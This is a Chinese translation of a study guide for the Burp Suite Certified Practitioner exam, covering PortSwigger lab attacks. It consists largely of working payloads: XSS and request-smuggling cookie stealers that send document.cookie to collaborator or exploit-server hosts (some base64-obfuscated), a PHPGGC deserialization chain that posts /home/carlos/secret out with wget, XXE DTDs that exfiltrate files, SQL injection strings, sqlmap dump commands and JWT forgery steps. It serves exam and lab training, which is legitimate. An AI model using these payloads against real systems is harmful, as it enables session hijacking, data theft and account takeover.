BurpSuite 认证从业者考试学习笔记 | 零基础学习BurpSuite玩转靶场
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study
Burp Suite 认证从业者考试研究
我关于 PortSwigger Academy Burp Suite 认证从业者 (BSCP) 考试主题的学习笔记。 前往 PortSwigger Academy 实验室获取更多详细信息,如果在考试中卡在舞台上,请使用 Micah van Deusen 博客提示 5 类别表到阶段 以获取进度指南。
Foothold
Dom-XSS
XSS攻击
Web缓冲区投毒
Host请求头投毒
HTTP请求走私
暴力破解
权限提升
JSON roleid PrivEsc
CSRF 更改电子邮件或密码
反序列化
SQLi 管理员凭据 Exfil
JSON Web 令牌
数据泄露
XML 实体和注入
SSRF 服务器端请求伪造
SSTI 服务器端模板注入
原型污染
跨站请求伪造
文件路径遍历
文件上传
附录
Solve Labs with Python
Payloads
Focus target scanning
Approach
Youtube Study Playlist
立足点
基于 DOM 的 XSS
当 JavaScript 从攻击者可控的来源(例如 URL)获取数据并将代码传递到支持动态代码执行的接收器时,就会出现基于 DOM 的 XSS 漏洞。 查看 代码以 确定 可能导致利用的源和接收器, 示例 列表 :
- document.write
- window.location
- document.cookie
- eval()
- document.domain
- WebSocket
- element.src
- postmessage
- setRequestHeader
- JSON.parse
- ng-app
- URLSearchParams
- replace()
- innerHTML
- location.search
- addEventListener
当对尖括号和双引号进行 HTML 编码时,可以将下面的 AngularJS 表达式注入到搜索功能中。 通过注意搜索字符串包含在 ng-app指令中来 识别 漏洞 。 查看 HTML 代码以 识别 告诉 AngularJS 这是 AngularJS 应用程序的根元素的 ng-app 指令。

PortSwigger 实验室有效负载如下:
{{$on.constructor('alert(1)')()}}
Cookie 窃取器有效负载可以放置在 iframe 中,托管在漏洞利用服务器上,导致受害者会话 cookie 被发送到 Burp Claborator。
{{$on.constructor('document.location="https://COLLABORATOR.com?c="+document.cookie')()}}
注意:cookie 属性必须设置 HttpOnly 安全标志。

PortSwigger 实验室:AngularJS 表达式中的 DOM XSS,带有尖括号和双引号 HTML 编码
低于目标的股票检查功能容易受到 dom-xss 的攻击。 Document.write 是与 location.search 一起使用的接收器,允许我们向 Javascript 变量storeId 添加新值 。
/product?productId=1&storeId="></select><img%20src=1%20onerror=alert(document.cookie)>

基于 Dom 的 XSS 请求,将恶意代码插入到目标 JavaScript 读取的变量中。

PortSwigger 实验室:document.write sink 中的 DOM XSS 使用 source location.search 在 select 元素内
Dom Invader
使用 Dom Invader 插件并将 canary 设置为值,例如 'domxss' 并检测可被利用的 DOM-XSS 接收器。

DOM XSS JSON.parse 网络消息
目标使用网络消息并将消息解析为 JSON。 通过在利用DOM XSS漏洞的利用服务器上构建HTML页面并窃取受害者cookie来利用该漏洞。
目标上易受攻击的 JavaScript 代码使用侦听 Web 消息的事件侦听器。 此事件侦听器需要使用 JSON.parse() 解析的 字符串 。 在下面的 JavaScript 中,我们可以看到事件侦听器需要一个 类型 属性,并且 switch 语句的 加载通道 情况会更改 img src 属性。
识别 目标上使用 postmessage() 和 DOM Invader 的 网络消息。
<script>
window.addEventListener('message', function(e) {
var img = document.createElement('img'), ACMEplayer = {element: img}, d;
document.body.appendChild(img);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
case "redirect":
window.location.replace(d.redirectUrl);
break;
}
}, false);
</script>
要利用上述代码,将 JavaScript 注入 JSON 数据以更改“load-channel”字段数据并窃取文档 cookie。
在漏洞利用服务器 html 主体上托管一个 iframe ,并将其发送给受害者,从而窃取他们的 cookie。 受害者 cookie 被发送到 Burp 协作服务器。
<iframe src=https://TARGET.net/ onload='this.contentWindow.postMessage(JSON.stringify({
"type": "load-channel",
"url": "JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie"
}), "*");'>
iframe onload values 的末尾是一个“*”,这是表示目标是任意的。
PortSwigger 实验室:使用网络消息和 JSON.parse 的 DOM XSS

更改 JSON 数据后,使用 DOM Invader 重播发布消息。
{
"type": "load-channel",
"url": "JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie"
}

PortSwigger:使用 PortSwigger DOM Invader 识别 DOM XSS
跨站脚本
XSS 资源页面以查找 标签 和 事件 的有效负载。
CSP Evaluator 工具,用于检查内容安全策略是否到位以减轻 XSS 攻击。
在浏览器开发工具中设置一个测试不安全的 cookie 来执行 POC XSS cookie 窃取程序。
document.cookie = "TopSecret=UnSafeCookieSessionValueForTopSecretCookie";
XSS 标签和事件
本节提供了 识别 目标搜索 功能中反映的 XSS 以及如何确定未阻止的 HTML 标记和事件属性的指南。
标签 Body 和事件 onresize 是唯一允许的,提供了执行 XSS 的注入。
?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
同样, Body 和事件 onpopstate 未被阻止。
?search=%22%3E%3Cbody%20onpopstate=print()>
PortSwigger 备忘单 XSS 示例:onpopstate 事件
下面的 JavaScript 托管在漏洞利用服务器上,然后传递给受害者。 它是一个执行onload 的 iframe ,搜索参数容易受到 onpopstate 的影响。
<iframe onload="if(!window.flag){this.contentWindow.location='https://TARGET.net?search=<body onpopstate=document.location=`http://COLLABORATOR.com/?`+document.cookie>#';flag=1}" src="https://TARGET.net?search=<body onpopstate=document.location=`http://COLLABORATOR.com/?`+document.cookie>"></iframe>
OnHashChange
下面的 iframe 在 URL 末尾使用 哈希字符来触发 OnHashChange XSS cookie 窃取程序。
<iframe src="https://TARGET.net/#" onload="document.location='http://COLLABORATOR.com/?cookies='+document.cookie"></iframe>
请注意,如果启用了HttpOnly 标志集的 cookie 是安全的 ,则无法使用 XSS 窃取 cookie。
PortSwigger Lab 负载执行打印。
<iframe src="https://TARGET.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
注意:在下面的实验室中 识别 易受攻击的 jquery 1.8.2 版本与 CSS 选择器一起使用以识别 hashchange 。

PortSwigger 实验室:使用 hashchange 事件的 jQuery 选择器接收器中的 DOM XSS
Crypto-Cat:使用 hashchange 事件的 jQuery 选择器接收器中的 DOM XSS
识别允许的 XSS 标签的方法
下面的实验室提供了很好的 方法论 来识别允许的 HTML 标签和事件来制作 POC XSS。
PortSwigger Lab:将 XSS 反射到 HTML 上下文中,大多数标签和属性被阻止
在漏洞利用服务器上托管 iframe 代码并向受害者提供漏洞利用链接。
<iframe src="https://TARGET.web.net/?search=%22%3E%3Cbody%20onpopstate=print()%3E">
反射型 XSS(Cookie 窃取者)
在 搜索 功能中,一个反射 XSS 漏洞被识别出来。 然后,攻击者在其漏洞利用服务器上的托管 iframe 中向受害者提供漏洞利用链接,其中包含 cookie 窃取负载。
识别 目标上的搜索 JavaScript 代码,返回一个 JSON 响应。 验证反斜杠 \ escape 未被清理,然后将 JSON 数据发送到 eval() 。 反斜杠未正确转义,当 JSON 响应尝试转义开头的双引号字符时,它会添加第二个反斜杠。 由此产生的双反斜杠导致转义被有效地取消。
\"-fetch('https://Collaborator.com?cs='+btoa(document.cookie))}//
图像显示使用搜索功能将 base64 中的 document.cookie 值发送到协作服务器的请求。

XSS WAF绕过
WAF 正在阻止危险的搜索过滤器和标签,然后使用 JavaScript 全局变量绕过 XSS 过滤器。
"-alert(window["document"]["cookie"])-"
"-window["alert"](window["document"]["cookie"])-"
"-self["alert"](self["document"]["cookie"])-"
secjuice:使用 JavaScript 全局变量绕过 XSS 过滤器
fetch("https://Collaborator.oastify.com/?c=" + btoa(document['cookie']))
Base64 对有效载荷进行编码。
ZmV0Y2goImh0dHBzOi8vODM5Y2t0dTd1b2dlZG02YTFranV5M291dGx6Y24yYnIub2FzdGlmeS5jb20vP2M9IiArIGJ0b2EoZG9jdW1lbnRbJ2Nvb2tpZSddKSk=
在我们自己的搜索会话中测试负载。
"+eval(atob("ZmV0Y2goImh0dHBzOi8vODM5Y2t0dTd1b2dlZG02YTFranV5M291dGx6Y24yYnIub2FzdGlmeS5jb20vP2M9IiArIGJ0b2EoZG9jdW1lbnRbJ2Nvb2tpZSddKSk="))}//
- 使用 eval() 方法评估或执行参数。
- 使用 atob() 或 btoa() 是用于对 base64 格式的字符串进行编码和编码的函数。
- 如果 eval() 被阻止,那么备选方案:
- 设置超时(“代码”)
- 设置间隔(“代码)
- setImmediate("代码")
- 功能(“代码”)()
下图显示 Burp Collaborator 接收受害者 cookie 作为 base64 结果。

在漏洞利用服务器上托管带有 eval() 和 fetch() 负载的 IFRAME ,分别是 base64 编码和 URL 编码。
<iframe src="https://TARGET.web-security-academy.net/?SearchTerm=%22%2b%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%49%6d%68%30%64%48%42%7a%4f%69%38%76%4f%44%4d%35%59%32%74%30%64%54%64%31%62%32%64%6c%5a%47%30%32%59%54%46%72%61%6e%56%35%4d%32%39%31%64%47%78%36%59%32%34%79%59%6e%49%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%4d%39%49%69%41%72%49%47%4a%30%62%32%45%6f%5a%47%39%6a%64%57%31%6c%62%6e%52%62%4a%32%4e%76%62%32%74%70%5a%53%64%64%4b%53%6b%3d%22%29%29%7d%2f%2f"/>

从 url 编码解码上面的 payload,如下:
https://TARGET.web-security-academy.net/?SearchTerm="+eval(atob("ZmV0Y2goImh0dHBzOi8vODM5Y2t0dTd1b2dlZG02YTFranV5M291dGx6Y24yYnIub2FzdGlmeS5jb20vP2M9IiArIGJ0b2EoZG9jdW1lbnRbJ2Nvb2tpZSddKSk="))}//
将上面的 base64 编码的有效载荷部分解码为以下内容:
https://TARGET.web-security-academy.net/?SearchTerm="+eval(atob("fetch("https://839cktu7uogedm6a1kjuy3outlzcn2br.oastify.com/?c=" + btoa(document['cookie']))"))}//
URL & Base64 编码器和解码器
存储型 XSS
使用以下示例代码来 识别 存储的 XSS,如果存储的输入正在重定向点击或点击链接到我们的利用服务器的受害者。
<img src="https://EXPLOIT.net/img">
<script src="https://EXPLOIT.net/script"></script>
<video src="https://EXPLOIT.net/video"></video>
以下是利用日志服务器的请求日志,显示了上述哪些标签有效。

跨站点脚本保存在博客评论中。 然后,此 Cookie Stealer 有效负载将受害者会话 cookie 发送到漏洞利用服务器日志。
<img src="1" onerror="window.location='http://exploit.net/cookie='+document.cookie">
产品和商店查找
?productId=1&storeId="></select><img src=x onerror=this.src='http://exploit.net/?'+document.cookie;>
存储型 XSS 博客文章
<script>
document.write('<img src="http://exploit.net?cookieStealer='+document.cookie+'" />');
</script>
below target在博客评论功能中存在存储型XSS漏洞。 泄露一个受害用户会话 cookie,该 cookie 在评论发布后查看,然后使用他们的 cookie 进行模拟。

在博客评论中 获取 API JavaScript Cookie Stealer 负载。
<script>
fetch('https://exploit.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
PortSwigger 实验室:利用跨站点脚本窃取 cookie
Web 缓存投毒
目标使用 tracking.js JavaScript,并且容易受到 X-Forwarded-Host 标头重定向路径的攻击,允许通过投毒缓存窃取 cookie。
GET / HTTP/1.1
Host: TARGET.web-security-academy.net
X-Forwarded-Host: exploit-SERVER.exploit-server.net

托管在漏洞利用服务器上,在请求中注入 X-Forwarded-Host 标头,并对缓存投毒,直到受害者命中投毒缓存。
/resources/js/tracking.js

document.location='https://collaboration.net/?cookies='+document.cookie;
通过重新发送带有X-Forwarded-Host 标头的请求,继续 中毒 目标的 Web 缓存 。

PortSwigger 实验室:Web 缓存投毒,带有未加密的标头
当受害者点击后端服务器上的缓存条目时,Youtube 视频显示漏洞利用服务器上的上述实验室负载被修改为窃取受害者 cookie。 有效负载是上面的 JavaScript。
YouTube:带有未加密标头的 Web 缓存投毒 - cookie 窃取器
utm_content
Target 容易受到 Web 缓存中毒的攻击,因为它从缓存键中排除了某个参数。 Param Miner 的“猜测 GET 参数”功能会将 参数 识别为 utm_content。

GET /?utm_content='/><script>document.location="https://Collaborator.com?c="+document.cookie</script>
上面的有效载荷被缓存,受害者访问目标 cookie 发送给 Burp 协作者。

PortSwigger 实验室:通过未加密查询参数的 Web 缓存投毒
Host请求头投毒 - 忘记密码
欺骗IP地址
确定 支持更改的 HOST 标头,这允许您欺骗您的 IP 地址并绕过基于 IP 的暴力保护或重定向攻击以进行密码重置中毒。
将用户名参数更改为 carlos 并发送请求。
X-Forwarded-Host: EXPLOIT-SERVER-ID.exploit-server.net
X-Host: EXPLOIT-SERVER-ID.exploit-server.net
X-Forwarded-Server: EXPLOIT-SERVER-ID.exploit-server.net
检查漏洞利用服务器日志以获取受害者用户名的重置链接。

主机连接状态
Target 容易通过主机标头受到基于路由的 SSRF 攻击。 使用单个连接 顺序发送分组请求 并将连接头设置为 keep-alive ,绕过主机头验证并启用本地服务器的 SSRF 利用。
GET /intranet/service HTTP/1.1
Host: TARGET.web-security-academy.net
Cookie: session=vXAA9EM1hzQuJwHftcLHKxyZKtSf2xCW
Content-Length: 48
Content-Type: text/plain;charset=UTF-8
Connection: keep-alive
下一个请求是请求组序列中的第二个选项卡。
POST /service/intranet HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53
csrf=YOUR-CSRF-TOKEN&username=carlos
观察第二个请求已成功访问管理面板。

PortSwigger 实验室:通过连接状态攻击绕过主机验证
HTTP 请求走私
具有前端和后端服务器的架构,前端或后端不支持分块编码 (HEX) 或内容长度 (Decimal) 。 绕过安全控制以检索受害者的请求并使用受害者用户的 cookie 访问他们的帐户。
TE.CL multiCase - 传输编码
手动修复请求走私攻击中的长度字段,要求每个块大小以字节为单位,以十六进制 表示 ,而 Content-Length 指定消息体的长度,以字节为 单位 。 块后跟一个 换行符 ,然后是块内容。 消息以大小为零的块终止。

注意: 在某些走私漏洞中,转到 Repeater 菜单并确保 未选中 “Update Content-Length”选项。
POST / HTTP/1.1
Host: TARGET.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked
71
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
注意: 在最后一个 0 之后包括尾随序列 \r\n\r\n。
以十六进制计算 TE.CL(传输编码/内容长度)走私请求长度, 有效 负载介于十六进制长度 71 和终止 零 之间,不包括零和零上方的前面的 \r\n ,作为长度的一部分。 初始 POST 请求 内容长度 是手动设置的。
PortSwigger 实验室:利用 HTTP 请求走私绕过前端安全控制,TE.CL 漏洞
CL.TE multiCase - 内容长度
Large Content-Length 以捕获受害者请求。 发送带有走私请求的 POST 请求,但内容长度比实际长度长,当受害者浏览时,他们的 cookie 会话值被发布到 blob 评论。 将评论发布请求的 Content-Length 增加到 798 ,然后走私 POST 请求到后端服务器。
POST / HTTP/1.1
Host: TARGET.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 242
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: session=HackerCurrentCookieValue
csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

上面走私的 POST 请求末尾没有换行^^。
查看博客 文章 以查看是否有包含用户请求的评论。 请注意,一旦受害用户浏览了目标网站,那么攻击才会成功。 从博文评论中复制用户的 Cookie 标头,并使用 cookie 访问受害者的帐户。

PortSwigger 实验室:利用 HTTP 请求走私来捕获其他用户的请求
CL.TE multiCase - 用户代理 Cookie 窃取器
标识 UserAgent 值存储在加载博客评论表单的GET 请求中,并存储在 User-Agent 隐藏值中。 利用 HTTP 请求走私,使用User-Agent 值传递反映的 XSS, 然后将其放置在走私的请求中。
从 HTML 文档中转义的基本跨站脚本负载。
"/><script>alert(1)</script>
Cookie STEALER 负载。
a"/><script>document.location='http://Collaborator.com/?cookiestealer='+document.cookie;</script>
将此 XSS 请求走私到后端服务器,以便它利用下一个访问者。 将 XSS cookie 窃取程序放在 User-Agent 标头中。
POST / HTTP/1.1
Host: TARGET.websecurity.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://COLLABORATOR.com/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
检查从受害者浏览目标收到的 PortSwigger 协作者请求。

PortSwigger 实验室:利用 HTTP 请求走私来传递反射 XSS
TE.CL dualchunk - 传输编码混淆
如果允许重复标头名称,并且漏洞被检测为 dualchunk ,则添加一个名称和值 = Transfer-encoding: cow 的 附加标头。 对第二个 TE使用 混淆 技术。
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Transfer-encoding: identity
Transfer-encoding: cow
如果标头以某种方式 混淆 ,则可以诱导某些支持 Transfer-Encoding 标头的服务器不处理它。
在中继器菜单上,确保 未选中 “更新内容长度”选项。
POST / HTTP/1.1
Host: TARGET.websecurity-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://COLLAB.com/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0\r\n
\r\n

注意: 您需要在最后一个 0 之后包含尾随序列 \r\n\r\n 。
PortSwigger 实验室:HTTP 请求走私,混淆传输编码 (TE) 标头
我认为,这种情况很少见,即访问站点的用户的请求通过考试或实时系统中的 HTTP 同步漏洞被窃取。
通过 CRLF 注入走私 HTTP/2
Target 容易受到请求走私的攻击,因为前端服务器 会降级 HTTP/2 请求并且无法充分清理传入的标头。 利用 HTTP/2 独有的请求走私向量来窃取受害者会话 cookie 并获得对用户帐户的访问权限。
当 Target 基于 cookie 反映以前和最近的搜索历史时识别可能的漏洞,通过删除 cookie 会注意到您的搜索历史已重置,确认它与您的会话 cookie 相关联 。

展开 Inspector 的 Request Attributes 部分并将协议更改为 HTTP/2,然后在任意标头中附加
foovaluebar,然后是 sequence\r\n,然后是Transfer-Encoding: chunked, 按 shift+ENTER 。

注意:启用 允许 HTTP/2 ALPN 覆盖 选项并将 HTTP/2 请求的主体更改为以下 POST 请求。
0
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=HACKER-SESSION-COOKIE
Content-Length: 800
search=nutty

PortSwigger 实验室:通过 CRLF 注入的 HTTP/2 请求走私
Youtube 演示 HTTP/2 请求通过 CRLF 注入走私
HTTP/2 TE desync v10a h2path
Target 容易受到请求走私的影响,因为前端服务器会降级 HTTP/2 请求,即使它们的长度不明确。 窃取访问目标的管理员的会话 cookie。 burp 请求走私扫描器将检测 HTTP/2 TE 异步漏洞。

注意:启用 允许 HTTP/2 ALPN 覆盖 选项。
POST /x HTTP/2
Host: 0abf00a503615fccc3301f8f008000fe.web-security-academy.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: 0abf00a503615fccc3301f8f008000fe.web-security-academy.net\r\n
\r\n
注意:POST 和 GET 请求中的路径都指向一个不存在的端点。 这有助于 识别 何时没有收到 404 响应,它是从受害者用户窃取的请求中捕获的。 注意:请记住通过在 Host 标头之后
包含序列来正确终止走私的请求。\r\n\r\n

将窃取的会话 cookie 值复制到新的 http/2 GET 请求到管理面板。
GET /admin HTTP/2
Host: 0abf00a503615fccc3301f8f008000fe.web-security-academy.net
Cookie: session=StolenAdminSessionCookieValue
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="109", "Not_A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"

PortSwigger 实验室:通过 H2.TE 请求走私的响应队列中毒
暴力破解
保持登录状态
带有保持登录复选框的登录选项会导致 Cookie 值包含登录用户的密码,并且容易受到暴力破解。

Intruder Payload 处理,在提交攻击前按顺序添加 grep 选项和以下规则。
- 哈希:MD5
- 添加前缀:carlos:
- 编码:Base64 编码。
grep 'Update email'

PortSwigger 实验室:暴力破解保持登录状态的 cookie
蛮力保护登录
当后端强制执行 30 分钟禁令时,确定登录时的暴力保护。 测试
X-Forwarded-For:标头导致绕过暴力保护。 观察长无效密码的响应时间,意味着我们可以使用 Pitchfork 技术识别第一个有效用户名和随机长密码,然后使用 Pitchfork 重新运行入侵者,设置每个有效载荷位置攻击同时遍历所有集合。
IP 地址上的负载位置 1
X-Forwarded-For:和带有长密码的用户名上的位置 2,以查看攻击列窗口中的响应时间延迟。


权限提升
PrivEsc JSON 角色 ID
管理界面的访问控制基于用户角色,这可能导致 IDOR 或访问控制安全漏洞。
捕获当前登录用户的电子邮件提交请求并发送给 Intruder ,然后将 "roleid":§99§ 添加到请求的 JSON 正文中,并对管理员访问角色位置可能的 roleid 进行模糊处理。
POST /my-account/change-email HTTP/1.1
Host: 0a25007604813b07c2066cf20023004d.web-security-academy.net
Cookie: session=vXAA9EM1hzQuJwHftcLHKxyZKtSf2xCW
Content-Length: 48
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Connection: close
{
"email":"newemail@wiener.peter",
"roleid": 2
}

攻击者 识别 管理员角色的可能角色 ID,然后使用更新的角色 ID 发送此请求,以将当前登录用户的权限升级为管理员的访问角色。

PortSwigger 实验室:可以在用户配置文件中修改用户角色
已登录
如果识别出具有isloggedin 名称的 cookie ,则可以利用刷新管理员密码 POST 请求。 以低权限用户身份登录时将用户名参数更改为管理员,CSRF,其中令牌未绑定到用户会话。
POST /refreshpassword HTTP/1.1
Host: TARGET.web-security-academy.net
Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d
Content-Length: 60
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="109", "Not_A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://TARGET.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-Forwarded-Host: exploit.exploit-server.net
X-Host: exploit.exploit-server.net
X-Forwarded-Server: exploit.exploit-server.net
Referer: https://TARGET.web-security-academy.net/refreshpassword
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
csrf=TOKEN&username=administrator

没有防御电子邮件更改功能的目标,可以允许权限升级到管理员角色。 在考试中,将电子邮件更改为漏洞利用服务器上的黑客电子邮件地址可以允许更改低权限用户的密码,并且可以帮助进行 privesc。

反序列化
阅读页面源代码并注意评论提及 ,这 会识别出 可能的 PHP 框架,而 Burp 扫描器会在我们使用窃取的凭据登录后识别序列化的会话 cookie 对象
wiener:peter。

通过在 GET 请求末尾添加 ~ 字符来查看 PHP 源代码
https://target.net/libs/CustomTemplate.php~,我们注意到 descstruct 方法。

原始解码cookie
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"bi0egmdu49lnl9h2gxoj3at4sh3ifh9x";}
创建新的 PHP 串行 CustomTemplate 对象,并将 lock_file_path 属性设置为 /home/carlos/morale.txt 。 确保使用正确的数据类型标签和长度指示符。 's' 表示字符串和长度
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

注意: 在 BSCP 考试中不会在删除文件时运行它,在考试中阅读源代码以 识别 PHP
unserialize()函数并使用 PHPGGC 提取带外内容。
./phpggc Symfony/RCE4 exec 'wget http://Collaborator.com --post-file=/home/carlos/secret' | base64
PortSwigger 实验室:使用预构建的小工具链利用 PHP 反序列化
SQL注入
基于错误或盲 SQL 注入漏洞,允许应用程序中的 SQL 查询用于从数据库中提取数据或登录凭据。 SQLMAP 用于快速跟踪漏洞利用并检索敏感信息。
要识别 SQLi,通过在 Web 参数中添加双引号 (") 或单引号 (') 或跟踪 cookie 可以破坏导致错误消息的 SQL 语法,以及积极的 SQL 注入识别。

盲SQLi
Target 容易受到使用 Blind SQL 利用查询的带外数据渗漏的攻击。 在本例中为 trackingID cookie。 下面是结合了 SQL 注入和基本的 XXE 有效负载。
TrackingId=cookievaluex'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

PortSwigger 实验室:带外数据渗漏的 SQL 盲注
使用 SQLMAP 通过提供 -r REQUESTFILE 从文件加载 HTTP 请求来枚举跟踪 cookie。
sqlmap -v -r sqli-blind.txt --batch --random-agent --level=5 --risk=3 -p "TrackingId"
PortSwigger 实验室:SQL 注入 UNION 攻击,从其他表中检索数据
SQLMAP
示例 SQLMAP 命令以确定存在哪些 SQL 注入漏洞并从后端数据库检索不同类型的信息。
SQLMAP 确定漏洞,并执行初始枚举。
sqlmap -v -u 'https://TARGET.web.net/filter?category=*' -p "category" --batch --cookie="session=TheCookieValueCopied" --random-agent --level=3 --risk=3
SQLMAP 确定数据库DBMS。
sqlmap -v -u 'https://TARGET.web.net/filter?category=*' -p "category" --batch --cookie="session=TheCookieValueCopied" --random-agent --level=3 --risk=3 --dbms=PostgreSQL -dbs
SQLMAP 确定数据库、表、转储、数据渗漏。
sqlmap -v -u 'https://TARGET.web.net/filter?category=*' -p "category" --batch --cookie="session=TheCookieValueCopied" --random-agent --level=3 --risk=3 --dbms=PostgreSQL -D public --tables
从公共数据库中的表用户转储内容。
sqlmap -v -u 'https://TARGET.web-security-academy.net/filter?category=*' -p "category" --batch --cookie="session=TheCookieValueCopied" --random-agent --dbms=PostgreSQL -D public -T users --dump --level=5 --risk=3

使用 SQLMAP 技术参数集类型为基于错误而不是基于布尔的盲漏洞,这加快了数据导出过程。
sqlmap -v -u 'https://TARGET.web.net/filter?category=*' -p 'category' --batch --flush-session --dbms postgresql --technique E --level=5
SQLi 手动利用
通过首先在数据库中查找表列表来手动利用 SQL 注入漏洞。
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
其次检索用户表中列的名称。
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_qoixrv'--
最后一步从用户名和密码列转储数据。
'+UNION+SELECT+username_wrrcyp,+password_zwjmpc+FROM+users_qoixrv--

PortSwigger 实验室:SQL 注入攻击,列出非 Oracle 数据库上的数据库内容
Json Web token
JSON Web 令牌 (JWT) 用于发送加密签名的 JSON 数据,最常用于发送有关用户的信息(“声明”),作为身份验证、会话处理和访问控制的一部分。
通过 JWK 绕过 JWT
burp 扫描器将服务器中的漏洞识别为JWT 自签名 JWK 标头支持。可以通过提供的密钥源检查失败来利用它。利用步骤:
- 新的 RSA 密钥
- 在请求 JWT 负载中,将sub 声明的值更改为 administrator
- 选择Attack,然后选择Embedded JWK with new generated RSA key
- 观察
jwk参数现在包含我们的公钥,发送请求结果以访问管理门户

PortSwigger 实验室:通过 jwk 标头注入绕过 JWT 身份验证
JWT 弱秘密
暴力破解弱 JWT 签名密钥
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list
Hashcat 结果提供了秘密,用于生成伪造的签名密钥。
通过弱签名密钥绕过 PortSwigger JWT 身份验证
JWT kid头
基于 JWT 的会话处理机制。为了验证签名,服务器使用JWT 标头中的kid参数从其文件系统中获取相关密钥。生成一个新的对称密钥并将k属性替换为 base64 空字节AA==,以便在签署 JWT 时使用。
JWS
{
"kid": "../../../../../../../dev/null",
"alg": "HS256"
}
有效载荷
{
"iss": "portswigger",
"sub": "administrator",
"exp": 1673523674
}

PortSwigger 实验室:通过 kid 标头路径遍历绕过 JWT 身份验证
数据渗漏
XXE注射器
Web 目标上的文件上传或用户导入功能使用 XML 文件格式。这可能容易受到 XML 外部实体 (XXE) 注入的攻击。
识别 XML
可以在不包含任何 XML 的请求中找到 XXE 攻击面。
要在不太明显的参数或请求中识别XXE,需要添加以下内容并对&符号进行 URL 编码以查看响应。
%26entity;

Xinclude文件读取
Webapp Check Stock功能使用服务器端 XML 文档,该文档是服务器端在 XML 文档中解析的,并且请求不是由整个 XML 文档构建的,因此无法使用托管 DTD 文件。注入XInclude语句来检索文件的内容
/home/carlos/secret。
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///home/carlos/secret"/></foo>

PortSwigger 实验室:利用 XInclude 检索文件
DTD 托管漏洞利用
在漏洞利用服务器上托管一个具有文档类型定义 (DTD)扩展名的漏洞利用文件,其中包含以下有效负载。
<!ENTITY % file SYSTEM "file:///home/carlos/secret">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://COLLABORATOR.net/?x=%file;'>">
%eval;
%exfil;

在发送到目标服务器之前修改请求的文件上传 XML 正文。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "https://EXPLOIT.net/exploit.dtd"> %xxe;]>
<users>
<user>
